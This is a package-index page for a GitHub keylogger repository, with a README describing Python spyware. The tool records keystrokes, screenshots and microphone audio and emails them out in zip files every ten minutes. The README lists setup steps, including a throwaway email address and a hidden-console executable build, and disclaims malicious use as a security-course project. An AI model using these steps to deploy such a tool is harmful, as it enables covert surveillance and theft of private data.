Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/efe-eroglu/keylogger
It saves the user's screenshots, voice and keyboard movements in a zip file and sends it to your e-mail address.
https://github.com/efe-eroglu/keylogger
cyber-security email keylogger log python screenshot vscode zip
Last synced: about 5 hours ago
JSON representation
It saves the user's screenshots, voice and keyboard movements in a zip file and sends it to your e-mail address.
- Host: GitHub
- URL: https://github.com/efe-eroglu/keylogger
- Owner: Efe-Eroglu
- License: mit
- Created: 2023-11-01T07:14:49.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2024-04-30T18:43:20.000Z (7 months ago)
- Last Synced: 2024-04-30T19:55:00.890Z (7 months ago)
- Topics: cyber-security, email, keylogger, log, python, screenshot, vscode, zip
- Language: Python
- Homepage:
- Size: 92.7 MB
- Stars: 6
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Keylogger
**Send keyboard movements, sounds, screenshots to your e-mail. The aim of the project is to test the security of information systems**## Requirements
* **`pip install pyautogui`**
* **`pip install pynput`**
* **`pip install zipfile`**
* **`pip install pyinstaller`**## Create An Application Password
* **You need to turn on `two-step verification` from the generated email address.**
* **You need to create an `application password` from your mail**
* **You can get a `temporary email address` for this process from some sites.**```bash
sender_email = "[email protected]"
sender_password = "your application password"
```
## Create Exe File```bash
pip install pyinstaller
pyinstaller --onedir --noconsole keyLogger.py
```## Start Keylogger
**If you want to run the application in the code editor and not as an exe file, fix these codes.These and similar.**```bash
log = open("..\\..\\Logs\\log.txt", "w") => log = open("Logs\\log.txt", "w")
zip_name=f"..\\..\\Rar Files\\Log{zip_counter}.zip" => zip_name=f"Rar Files\\Log{zip_counter}.zip"
```
## System's Logic
* **Every 20 seconds while the application is running, it takes an image of the screen and stores it under the Images folder.**
* **Every key pressed by the user is instantly recorded in a text file under Logs.**
* **Records the user's voice and stores it in a folder named Audio**
* **Every 10 minutes these recordings are zip-ed and sent to your e-mail address.**
## Note
* **This application has been prepared within the scope of information system security course. It is not suitable for malicious use and its use for such purposes is strictly prohibited and not recommended.**